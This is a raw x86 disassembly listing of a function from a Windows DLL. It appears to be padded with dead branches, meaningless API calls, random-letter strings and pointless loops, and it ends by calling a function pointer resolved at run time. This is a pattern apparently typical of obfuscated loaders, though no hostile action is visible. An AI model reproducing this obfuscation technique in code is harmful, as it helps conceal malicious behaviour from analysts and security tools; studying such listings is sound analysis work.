cmp dword [ebp - 0x48], 0
jl 0x1003f2e6
mov byte [ebp - 0x8b], 0
movzx eax, byte [ebp - 0x8b]
test eax, eax
je 0x1003f2e4
push 0x1a97
push 0x1f71
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x1003f2b5
jmp 0x1003f266
mov byte [ebp - 0x8d], 0
movzx eax, byte [ebp - 0x8d]
test eax, eax
je 0x1003f30a
push 0
push 0xd94
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
jmp 0x1003f236
push dword [ebp - 0xac]
lea ecx, [ebp - 0x7ac]
call fcn.10001ffb
cmp dword [eax], 0
je 0x1003f32a
jmp 0x1003f210
jmp 0x1003f210
mov byte [ebp - 0x8f], 0
movzx eax, byte [ebp - 0x8f]
test eax, eax
je 0x1003f34e
push 0
push 0x56d
call dword [sym.imp.USER32.dll_MapDialogRect]
jmp 0x1003f1f3
jmp 0x1003f36f
mov byte [ebp - 0xba], 0
movzx eax, byte [ebp - 0xba]
test eax, eax
je 0x1003f36f
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7ac]
call fcn.10001fdf
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x5f4], 0
mov dword [ebp - 0x74], 0xffffffff
mov dword [ebp - 0x74], 0
jmp 0x1003f3a3
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x18
jle 0x1003f3c5
mov byte [ebp - 0x84], 0
movzx eax, byte [ebp - 0x84]
test eax, eax
je 0x1003f3c3
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
jmp 0x1003f39c
mov dword [ebp - 0x74], 0xd
jmp 0x1003f3d5
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xf
jle 0x1003f5d0
push 3
lea ecx, [ebp - 0x80c]
call fcn.10001f82
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x1a8], 0
jmp 0x1003f413
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 3
jge 0x1003f432
push dword [ebp - 0x1a8]
lea ecx, [ebp - 0x80c]
call fcn.10001ffb
and dword [eax], 0
jmp 0x1003f406
mov dword [ebp - 0x50], 2
jmp 0x1003f442
mov eax, dword [ebp - 0x50]
dec eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jl 0x1003f590
mov byte [ebp - 0xc0], 0
movzx eax, byte [ebp - 0xc0]
test eax, eax
je 0x1003f58b
mov dword [ebp - 0x3b0], 0x24b6
mov dword [ebp - 0x68c], str.ujhqrt_ynunv_vrxy_zxbxzn_gjfwlfv_fcpffrh_xsvp_acb
cmp dword [ebp - 0x3b0], 0x25e4
jle 0x1003f530
and dword [ebp - 0x1c0], 0
jmp 0x1003f49c
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x1d28
jge 0x1003f530
and dword [ebp - 0x1b0], 0
jmp 0x1003f4c2
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x200d
jge 0x1003f52b
and dword [ebp - 0x1b8], 0
jmp 0x1003f4e4
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x4b1c
jge 0x1003f529
mov ecx, dword [ebp - 0x1b0]
add ecx, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x1c0]
shl eax, cl
cdq
mov dword [ebp - 0x688], eax
mov dword [ebp - 0x684], edx
push dword [ebp - 0x684]
push dword [ebp - 0x688]
mov ecx, 0x10081838
call fcn.10001e6d
jmp 0x1003f4d7
jmp 0x1003f4b5
jmp 0x1003f48f
push 0
push 1
push 0x531
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov byte [ebp - 4], 0x22
cmp dword [ebp - 0x3b0], 0x245e
jge 0x1003f55f
mov edx, dword [ebp - 0x68c]
mov ecx, 0x10081838
call fcn.100038af
jmp 0x1003f57b
mov dword [ebp - 4], 0x21
jmp 0x1003f58b
jmp 0x1003f43b
mov dword [ebp - 0x50], 0
jmp 0x1003f5a0
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x1003f5bc
push dword [ebp - 0x50]
lea ecx, [ebp - 0x80c]
call fcn.10001ffb
mov dword [eax], 0xfffffffd
jmp 0x1003f599
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x80c]
call fcn.10001fdf
jmp 0x1003f3ce
lea eax, [ebp - 0x5f4]
push eax
lea ecx, [ebp - 0x94c]
call fcn.10044aeb
mov dword [ebp - 4], 0x24
mov dword [ebp - 0x858], 0x9b64
mov byte [ebp - 0x86], 0
movzx eax, byte [ebp - 0x86]
test eax, eax
je 0x1003f610
push 0xf4d
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov byte [ebp - 0xbc], 0
movzx eax, byte [ebp - 0xbc]
test eax, eax
je 0x1003f62a
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and dword [ebp - 0x1d0], 0
jmp 0x1003f640
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0xf
jae 0x1003fa00
mov dword [ebp - 0x28], 0xc3eee2fd
mov dword [ebp - 0x3c], 0x924b5411
push 1
lea ecx, [ebp - 0x2e0]
call fcn.10001f82
mov byte [ebp - 4], 0x25
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 0x698], 0x5767a065
mov dword [ebp - 0x76c], 0xffffffff
mov dword [ebp - 0x1c8], 0
jmp 0x1003f6a3
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 1
jge 0x1003f6c5
push dword [ebp - 0x1c8]
lea ecx, [ebp - 0x2e0]
call fcn.10001ffb
mov dword [eax], 0xfffd
jmp 0x1003f696
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x860], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x868], eax
or eax, 0xffffffff
sub eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x28]
je 0x1003f6ee
mov dword [ebp - 0x3b8], 1
jmp 0x1003f6f5
and dword [ebp - 0x3b8], 0
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x1438
jl 0x1003f716
mov dword [ebp - 0x3c0], 1
jmp 0x1003f71d
and dword [ebp - 0x3c0], 0
push 0
lea ecx, [ebp - 0x2e0]
call fcn.10001ffb
mov ecx, dword [ebp - 0x3c0]
cmp ecx, dword [eax]
jle 0x1003f740
mov dword [ebp - 0x72c], 1
jmp 0x1003f747
and dword [ebp - 0x72c], 0
push 0
lea ecx, [ebp - 0x2e0]
call fcn.10001ffb
cmp dword [eax], 0
je 0x1003f76b
cmp dword [ebp - 0x3c], 0
je 0x1003f76b
mov dword [ebp - 0x3c8], 1
jmp 0x1003f772
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x3c8]
jle 0x1003f789
mov dword [ebp - 0x3d0], 1
jmp 0x1003f790
and dword [ebp - 0x3d0], 0
imul esi, dword [ebp - 0x3d0], 0x8339
push 0
lea ecx, [ebp - 0x2e0]
call fcn.10001ffb
cmp esi, dword [eax]
jg 0x1003f7ba
cmp dword [ebp - 0x28], 0
jne 0x1003f7ba
and dword [ebp - 0x3d8], 0
jmp 0x1003f7c4
mov dword [ebp - 0x3d8], 1
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x3d8], eax
je 0x1003f7d8
mov dword [ebp - 0x28], 9
jmp 0x1003f7e9
mov dword [ebp - 0x870], 0x7b38e516
mov dword [ebp - 0x3c], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x878], eax
push 0
lea ecx, [ebp - 0x2e0]
call fcn.10001ffb
cmp dword [eax], 0
je 0x1003f810
mov dword [ebp - 0x3e0], 1
jmp 0x1003f817
and dword [ebp - 0x3e0], 0
cmp dword [ebp - 0x3e0], 8
jne 0x1003f82c
mov dword [ebp - 0x3e8], 1
jmp 0x1003f833
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x2a0]
cmp dword [ebp - 0x3e8], eax
jne 0x1003f84d
mov dword [ebp - 0x3f0], 1
jmp 0x1003f854
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x3f0], eax
je 0x1003f86b
mov dword [ebp - 0x3f8], 1
jmp 0x1003f872
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x2a0]
cmp dword [ebp - 0x3f8], eax
jl 0x1003f88c
mov dword [ebp - 0x400], 1
jmp 0x1003f893
and dword [ebp - 0x400], 0
push 0
lea ecx, [ebp - 0x2e0]
call fcn.10001ffb
mov ecx, dword [ebp - 0x400]
imul ecx, dword [eax]
test ecx, ecx
je 0x1003f8bf
cmp dword [ebp - 0x3c], 0
je 0x1003f8bf
mov dword [ebp - 0x408], 1
jmp 0x1003f8c6
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x408], eax
jl 0x1003f8dd
mov dword [ebp - 0x410], 1
jmp 0x1003f8e4
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x410], eax
jg 0x1003f8fb
mov dword [ebp - 0x418], 1
jmp 0x1003f902
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x418]
neg eax
cmp eax, 0x2d78bea
jg 0x1003f91d
mov dword [ebp - 0x420], 1
jmp 0x1003f924
and dword [ebp - 0x420], 0
push 0
lea ecx, [ebp - 0x2e0]
call fcn.10001ffb
mov ecx, dword [ebp - 0x420]
sub ecx, dword [eax]
mov eax, 0x5894
sub eax, ecx
jne 0x1003f954
mov eax, 0x21a1
test eax, eax
jne 0x1003f954
and dword [ebp - 0x428], 0
jmp 0x1003f95e
mov dword [ebp - 0x428], 1
mov eax, dword [ebp - 0x3c]
neg eax
imul eax, dword [ebp - 0x428]
cmp eax, dword [ebp - 0x698]
jne 0x1003f97e
mov dword [ebp - 0x430], 1
jmp 0x1003f985
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x430]
jge 0x1003f99c
mov dword [ebp - 0x438], 1
jmp 0x1003f9a3
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x3c], eax
mov esi, dword [ebp - 0x2a0]
push 0
lea ecx, [ebp - 0x2e0]
call fcn.10001ffb
mov edi, dword [eax]
sub edi, esi
push 0
lea ecx, [ebp - 0x2e0]
call fcn.10001ffb
sub edi, dword [eax]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x76c], eax
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x2e0]
call fcn.10001fdf
mov eax, dword [ebp - 0x1d0]
mov byte [ebp + eax - 0x5f4], 0
jmp 0x1003f633
push 1
push 0
lea eax, [ebp - 0x94c]
push eax
push dword [ebp - 0x440]
call fcn.1004059e
add esp, 0x10
mov dword [0x10146c58], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x94c]
call fcn.10013b88
mov dword [ebp - 0x1d8], 0xfffffffe
mov byte [ebp - 0x88], 0
movzx eax, byte [ebp - 0x88]
test eax, eax
je 0x1003fa5f
push 0
push 0
push 0x4dd
push 0x1ac9
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
mov dword [ebp - 0x1d8], 0
jmp 0x1003fa78
mov eax, dword [ebp - 0x1d8]
dec eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0xffffffea
jne 0x1003fb84
mov byte [ebp - 0xc4], 0
mov dword [ebp - 0x448], 0x8e4
mov dword [ebp - 0x6a4], str.sgtezr_ikrrwkn_jegj_gweogkio_colwibskp_nusfsge_bfhft
cmp dword [ebp - 0x448], 0xc12
jle 0x1003fb23
and dword [ebp - 0x1e0], 0
jmp 0x1003fac2
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x60da
jge 0x1003fb23
and dword [ebp - 0x1e8], 0
jmp 0x1003fae4
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x38ca
jge 0x1003fb21
mov eax, dword [ebp - 0x1e0]
xor eax, dword [ebp - 0x1e8]
cdq
mov dword [ebp - 0x694], eax
mov dword [ebp - 0x690], edx
push dword [ebp - 0x690]
push dword [ebp - 0x694]
mov ecx, 0x10081838
call fcn.10001e6d
jmp 0x1003fad7
jmp 0x1003fab5
movzx eax, byte [ebp - 0xc4]
test eax, eax
je 0x1003fb36
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0x448], 0x566
jge 0x1003fb59
mov edx, dword [ebp - 0x6a4]
mov ecx, 0x10081838
call fcn.100038af
jmp 0x1003fb75
or dword [ebp - 4], 0xffffffff
jmp 0x1003fb7f
jmp 0x1003fa6b
cmp dword [0x10146c58], 0
je 0x10040529
mov dword [ebp - 0x1f8], 0xfffffffb
mov dword [ebp - 0x880], 0x9c9fb37b
mov dword [ebp - 0x88c], 0x238e486a
mov dword [ebp - 0x450], 1
mov dword [ebp - 0x1f0], 0
jmp 0x1003fbd2
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 1
jge 0x1003fbee
mov eax, dword [ebp - 0x1f0]
mov dword [ebp + eax*4 - 0x894], 0xf1124f01
jmp 0x1003fbc5
mov dword [ebp - 0x1f8], 0
jmp 0x1003fc07
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0
jg 0x1003fcb1
push 2
lea ecx, [ebp - 0x8cc]
call fcn.10001f82
mov dword [ebp - 4], 0x28
mov dword [ebp - 0x200], 0
jmp 0x1003fc41
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 2
jge 0x1003fc63
push dword [ebp - 0x200]
lea ecx, [ebp - 0x8cc]
call fcn.10001ffb
mov dword [eax], 0x67215912
jmp 0x1003fc34
mov eax, dword [ebp - 0x450]
dec eax
mov dword [ebp - 0x450], eax
mov byte [ebp - 0x8a], 0
movzx eax, byte [ebp - 0x8a]
test eax, eax
je 0x1003fc9d
push 0
push 0x1d63
push 0
push 0x14bf
push 0
push 0xc3b
call dword [sym.imp.USER32.dll_DrawTextExW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8cc]
call fcn.10001fdf
jmp 0x1003fbfa
mov eax, dword [ebp + 8]
mov dword [ebp - 0x754], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x744], eax
mov dword [ebp - 0x104], 0
mov dword [ebp - 0xb4], 0x3245f1db
push 2
lea ecx, [ebp - 0x800]
call fcn.10001f82
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x58], 0
jmp 0x1003fcfb
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jge 0x1003fd11
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x5d8], 1
jmp 0x1003fcf4
mov dword [ebp - 0x58], 0
jmp 0x1003fd21
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jge 0x1003fd3d
push dword [ebp - 0x58]
lea ecx, [ebp - 0x800]
call fcn.10001ffb
mov dword [eax], 0x616d21b1
jmp 0x1003fd1a
mov dword [ebp - 0x104], 0
jmp 0x1003fd56
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x13
jg 0x1004006c
push 2
lea ecx, [ebp - 0x59c]
call fcn.10001f82
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0x470], 0xfffffffc
push 1
lea ecx, [ebp - 0x7e8]
call fcn.10001f82
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0x60], 0
jmp 0x1003fd9f
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 2
jge 0x1003fdbb
push dword [ebp - 0x60]
lea ecx, [ebp - 0x59c]
call fcn.10001ffb
mov dword [eax], 0x62a9
jmp 0x1003fd98
mov dword [ebp - 0x60], 0
jmp 0x1003fdcb
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jge 0x1003fde7
push dword [ebp - 0x60]
lea ecx, [ebp - 0x7e8]
call fcn.10001ffb
mov dword [eax], 0x35300547
jmp 0x1003fdc4
mov eax, dword [ebp - 0xb4]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x5d8], eax
mov dword [ebp - 0xb4], 0
jmp 0x1003fe13
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 3
jle 0x10040049
mov dword [ebp - 0x208], 0xf066
mov esi, dword [ebp - 0x208]
push 0
lea ecx, [ebp - 0x59c]
call fcn.10001ffb
cmp dword [eax], esi
jle 0x1003fe4d
mov dword [ebp - 0x458], 1
jmp 0x1003fe54
and dword [ebp - 0x458], 0
cmp dword [ebp - 0x458], 0x8e2294b
jle 0x1003fe6c
mov dword [ebp - 0x460], 1
jmp 0x1003fe73
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x104]
cmp dword [ebp - 0x460], eax
jg 0x1003fe8d
mov dword [ebp - 0x468], 1
jmp 0x1003fe94
and dword [ebp - 0x468], 0
cmp dword [ebp - 0x468], 0xffffffff
jbe 0x1003fea9
mov dword [ebp - 0x2a8], 1
jmp 0x1003feb0
and dword [ebp - 0x2a8], 0
push 0
lea ecx, [ebp - 0x7e8]
call fcn.10001ffb
mov ecx, dword [ebp - 0x2a8]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x59c]
call fcn.10001ffb
mov ecx, dword [ebp - 0x2a8]
cmp ecx, dword [eax]
jne 0x1003fee8
mov dword [ebp - 0x734], 1
jmp 0x1003feef
and dword [ebp - 0x734], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5d8]
mov dword [ebp - 0x89c], eax
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x8d4], eax
push 0
lea ecx, [ebp - 0x59c]
call fcn.10001ffb
mov eax, dword [eax]
mov dword [ebp - 0x470], eax
mov esi, dword [ebp - 0x470]
push 0
lea ecx, [ebp - 0x59c]
call fcn.10001ffb
sub esi, dword [eax]
mov dword [ebp - 0x478], esi
push 1
lea ecx, [ebp - 0x800]
call fcn.10001ffb
mov ecx, dword [ebp - 0x478]
mov dword [eax], ecx
cmp dword [ebp - 0x478], 0x3c88fed6
jge 0x1003ff6b
mov dword [ebp - 0x480], 1
jmp 0x1003ff72
and dword [ebp - 0x480], 0
push 0
lea ecx, [ebp - 0x59c]
call fcn.10001ffb
mov ecx, dword [ebp - 0x480]
cmp ecx, dword [eax]
jl 0x1003ff95
mov dword [ebp - 0x488], 1
jmp 0x1003ff9c
and dword [ebp - 0x488], 0
cmp dword [ebp - 0x488], 0
jne 0x1003ffb1
mov dword [ebp - 0x490], 1
jmp 0x1003ffb8
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x490]
sub eax, dword [ebp - 0xb4]
cmp eax, 0xfffffff6
je 0x1003ffd5
mov dword [ebp - 0x498], 1
jmp 0x1003ffdc
and dword [ebp - 0x498], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5d8]
cmp dword [ebp - 0x498], eax
jne 0x1003fffd
mov dword [ebp - 0x6ac], 1
jmp 0x10040004
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp - 0x208]
cmp eax, dword [ebp - 0x208]
jg 0x1004002a
mov dword [ebp - 0x4a0], 1
jmp 0x10040031
and dword [ebp - 0x4a0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x4a0]
mov dword [ebp + eax - 0x5d8], ecx
jmp 0x1003fe06
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x7e8]
call fcn.10001fdf
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x59c]
call fcn.10001fdf
jmp 0x1003fd49
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x800]
call fcn.10001fdf
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0x75c], eax
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x4e8], 0xfe4de5a8
mov dword [ebp - 0x6c], 0x45c761b8
push 4
lea ecx, [ebp - 0x5a8]
call fcn.10001f82
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x210], 0
jmp 0x100400cc
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 4
jge 0x100400ee
push dword [ebp - 0x210]
lea ecx, [ebp - 0x5a8]
call fcn.10001ffb
mov dword [eax], 0x8dc70e74
jmp 0x100400bf
mov dword [ebp - 0x24], 0xffffffe9
jmp 0x100400fe
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x17
jl 0x100404ee
mov dword [ebp - 0x218], 0xf33f
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2b0], 0xdb756fd8
mov dword [ebp - 0x6c4], 0xc8c9
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x8e4], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x8ec], eax
mov eax, dword [ebp - 0x218]
cmp eax, dword [ebp - 0x218]
jle 0x10040159
mov dword [ebp - 0x4a8], 1
jmp 0x10040160
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x4a8]
je 0x1004017d
cmp dword [ebp - 0x24], 0
je 0x1004017d
mov dword [ebp - 0x4b0], 1
jmp 0x10040184
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x4b0]
jne 0x1004019b
mov dword [ebp - 0x4b8], 1
jmp 0x100401a2
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x4b8]
add eax, 3
neg eax
mov ecx, dword [ebp - 0x218]
add ecx, eax
mov dword [ebp - 0x2b0], ecx
mov eax, dword [ebp - 0x2b0]
imul eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x4e8]
jg 0x100401d9
mov dword [ebp - 0x4c0], 1
jmp 0x100401e0
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x4c0]
lea eax, [ecx + eax - 0x3be46552]
cmp eax, dword [ebp - 0x24]
jle 0x10040201
mov dword [ebp - 0x6b4], 1
jmp 0x10040208
and dword [ebp - 0x6b4], 0
cmp dword [ebp - 0x2b0], 0
mov eax, dword [ebp - 0x218]
cmp eax, dword [ebp - 0x24]
jge 0x10040226
mov dword [ebp - 0x4c8], 1
jmp 0x1004022d
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x4c8]
sub eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jge 0x10040247
mov dword [ebp - 0x4d0], 1
jmp 0x1004024e
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jne 0x1004026c
cmp dword [ebp - 0x30], 0
jne 0x1004026c
and dword [ebp - 0x4d8], 0
jmp 0x10040276
mov dword [ebp - 0x4d8], 1
push 2
lea ecx, [ebp - 0x5a8]
call fcn.10001ffb
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [eax]
jle 0x10040299
mov dword [ebp - 0x73c], 1
jmp 0x100402a0
and dword [ebp - 0x73c], 0
push 2
lea ecx, [ebp - 0x5a8]
call fcn.10001ffb
cmp dword [eax], 4
jbe 0x100402be
mov dword [ebp - 0x4e0], 1
jmp 0x100402c5
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0x4e0]
sub eax, dword [ebp - 0x30]
je 0x100402d7
cmp dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x914], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x4f0], eax
push 2
lea ecx, [ebp - 0x5a8]
call fcn.10001ffb
mov ecx, dword [ebp - 0x4f0]
mov dword [eax], ecx
cmp dword [ebp - 0x4f0], 0xfffffffa
jg 0x10040319
cmp dword [ebp - 0x6c], 0
je 0x10040319
mov dword [ebp - 0x4f8], 1
jmp 0x10040320
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x4f8], eax
jl 0x100404ae
mov byte [ebp - 0xb6], 0
movzx eax, byte [ebp - 0xb6]
test eax, eax
je 0x10040358
push 0
push 0x884
push 0x19ee
push 0x185f
call dword [sym.imp.GDI32.dll_SetPixel]
mov dword [ebp - 0x6c], 3
jmp 0x10040368
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jl 0x100404ac
mov dword [ebp - 0x500], 0x4a2d
mov dword [ebp - 0x764], str.nmbiuaczm_zcoaedacn_dtfjgjybb_jyks_bpj_zpicq
cmp dword [ebp - 0x500], 0x4e11
jle 0x1004044a
and dword [ebp - 0x268], 0
jmp 0x100403ac
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x7588
jge 0x1004043c
and dword [ebp - 0x270], 0
jmp 0x100403d2
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x5bf2
jge 0x10040437
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x270]
shl eax, cl
cdq
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x69c], edx
push dword [ebp - 0x69c]
push dword [ebp - 0x6a0]
lea ecx, [ebp - 0x96c]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x6bc], eax
mov ecx, dword [ebp - 0x6bc]
call fcn.10001e4d
push eax
call fcn.1004b116
pop ecx
lea ecx, [ebp - 0x96c]
call fcn.10001e43
jmp 0x100403c5
jmp 0x1004039f
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x5a8]
call fcn.10001ffb
cmp dword [eax], 0
je 0x1004045f
jmp 0x100404ac
mov byte [ebp - 4], 0x2d
cmp dword [ebp - 0x500], 0x49f0
jge 0x1004047b
push dword [ebp - 0x764]
call fcn.1004b116
pop ecx
jmp 0x10040497
mov dword [ebp - 4], 0x2c
jmp 0x100404a7
jmp 0x10040361
jmp 0x100404db
mov dword [ebp - 0x30], 3
jmp 0x100404be
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jl 0x100404db
push dword [ebp - 0x30]
lea ecx, [ebp - 0x5a8]
call fcn.10001ffb
cmp dword [eax], 0
je 0x100404d9
jmp 0x100404db
jmp 0x100404b7
cmp dword [ebp - 0x6c4], 0
je 0x100404e9
jmp 0x100400f7
jmp 0x100400f7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5a8]
call fcn.10001fdf
mov eax, dword [ebp - 0x744]
mov dword [ebp - 0x6cc], eax
push dword [ebp - 0x6cc]
push dword [ebp - 0x75c]
call dword [0x10146c58]
mov dword [ebp - 0x6d4], eax
mov eax, dword [ebp - 0x6d4]
jmp 0x1004058d
mov dword [ebp - 0x278], 1
mov dword [ebp - 0x278], 0xfffffffb
jmp 0x1004054c
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0xd
je 0x1004058b
mov byte [ebp - 0x8c], 0
movzx eax, byte [ebp - 0x8c]
test eax, eax
je 0x1004056f
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov byte [ebp - 0xb7], 0
movzx eax, byte [ebp - 0xb7]
test eax, eax
je 0x10040589
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x1004053f
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret